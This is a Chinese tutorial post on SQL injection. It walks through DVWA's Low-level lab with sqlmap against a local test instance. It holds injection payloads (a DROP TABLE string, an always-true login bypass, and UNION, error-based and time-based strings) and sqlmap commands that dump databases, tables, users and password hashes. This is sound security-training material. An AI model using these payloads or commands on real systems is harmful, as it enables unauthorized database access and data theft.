SQL Injection

SQL Injection

SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录

举个例子:

假设我们有一个搜索表单,用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;,那么SQL语句就变成了SELECT * FROM Products WHERE product_id = 20; DROP TABLE Products;。现在,这个SQL语句会从数据库中删除Products表。这是可能的,因为大多数数据库系统可以同时执行多个语句

另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件,以便无论如何都能获取数据。例如,如果用户将用户名输入为invalid_user" OR "1"="1,并将密码输入为invalid_pass" OR "1"="1,那么SQL语句就变成了SELECT * FROM Users WHERE username = "invalid_user" OR "1"="1" AND password = "invalid_pass" OR "1"= "1"。由于"1"="1"始终为TRUE,所以无论用户输入什么用户名和密码,SQL都会从数据库中获取所有用户的数据

在下面的测试中我们使用,工具sqlmap进行,下面是一些常用的sqlmap的命令

  1. 检测是否存在注入点:

    python sqlmap.py -r "请求文件包路径"

    这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。

  2. 获取注入点所有数据库:

    python sqlmap.py -r "响应包路径" --dbs

    一旦确认存在注入点,这个命令将用于获取目标数据库服务器上的所有数据库名称。

  3. 获取当前使用的数据库:

    python sqlmap.py -r "响应包路径" --current-db --batch

    这个命令用于获取当前数据库服务器上正在使用的数据库。

  4. 获取数据库中的表:

    python sqlmap.py -r "响应包路径" --tables -D "数据库名" --batch

    一旦确认存在数据库,这个命令将用于获取指定数据库中的所有表。

  5. 获取表中的字段信息:

    python sqlmap.py -r "响应包路径" --columns -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中的所有字段信息。

  6. 获取字段具体信息:

    python sqlmap.py -r "响应包路径" --dump -C "字段名(可多个)" -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中指定字段的具体信息。

  7. 获取当前使用的账户:

    python sqlmap.py -r "响应包路径" --current-user

    这个命令用于获取当前数据库连接的用户。

  8. 列出所有使用过的账户:

    python sqlmap.py -r "响应包路径" --users

    这个命令用于列出所有在目标数据库服务器上使用过的用户。

  9. 获取 MySQL 的登录账户和密码:

    python sqlmap.py -r "响应包路径" --passwords

    这个命令用于获取 MySQL 数据库中存储的账户和密码。

Low

我们先进行尝试,输入User ID显示对应的name,并且输入的ID值在URL栏中,抓包,获取请求文件。

SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的,

将请求保存到文件 ,使用 **sqlmap.py -r "请求文件的路径"**来判断是否存在注入点

根据 SQLMap 的输出,已确认了 GET 参数 id 存在 SQL 注入漏洞,后端数据库管理系统(DBMS)是 MySQL,Web 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。

复制代码
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 6167=6167#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(5600=5600,1))),0x7170766b71),5600)-- fHCD&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceH&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#&Submit=Submit
---
[21:47:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:47:57] [INFO] fetched data logged to text files under 'C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1'

python .\sqlmap.py -r C:\Users\LI\Desktop\响应文件.txt -dbs

available databases [2]:

\*\] dvwa \[\*\] information_schema python .\\sqlmap.py -r C:\\Users\\LI\\Desktop\\响应文件.txt -D DVWA -tables 获取数据库表信息: Database: DVWA \[2 tables

+-----------+

| guestbook |

| users |

+-----------+

使用url参数也可

sqlmap -u " " --cookie " " -D - tables

Medium

使用工具注入,步骤相似,略

High

使用工具注入,步骤相似,略

相关推荐
微学AI23 分钟前
国产数据库替代MongoDB的技术实践过程:金仓多模数据库在电子证照系统中的深度应用
数据库·人工智能·1024程序员节
TDengine (老段)32 分钟前
TDengine 数据函数 ROUND 用户手册
java·大数据·数据库·物联网·时序数据库·tdengine·1024程序员节
TDengine (老段)35 分钟前
TDengine 数学函数 RAND 用户手册
java·大数据·数据库·物联网·时序数据库·tdengine·涛思数据
野犬寒鸦1 小时前
从零起步学习MySQL || 第十章:深入了解B+树及B+树的性能优势(结合底层数据结构与数据库设计深度解析)
java·数据库·后端·mysql·1024程序员节
GZ_TOGOGO1 小时前
Oracle OCP考试报名常见问题详解
数据库·oracle·ocp认证
睡不醒的猪儿1 小时前
nginx日志同步阿里云datahub后写入数据库
数据库·nginx·阿里云
xie_zhr1 小时前
【PB案例学习笔记】-46在数据窗口中编辑数据
数据库·his·1024程序员节·干货分享·pb·powerbuilder
小小的木头人2 小时前
Redis 集群安装指南
数据库·redis
星空的资源小屋2 小时前
Antares SQL,一款跨平台开源 SQL 客户端
数据库·人工智能·pdf·开源·电脑·excel·1024程序员节
2301_800256112 小时前
地理空间数据库作业笔记——查询最偏僻的城市
数据库·笔记·sql·postgresql·1024程序员节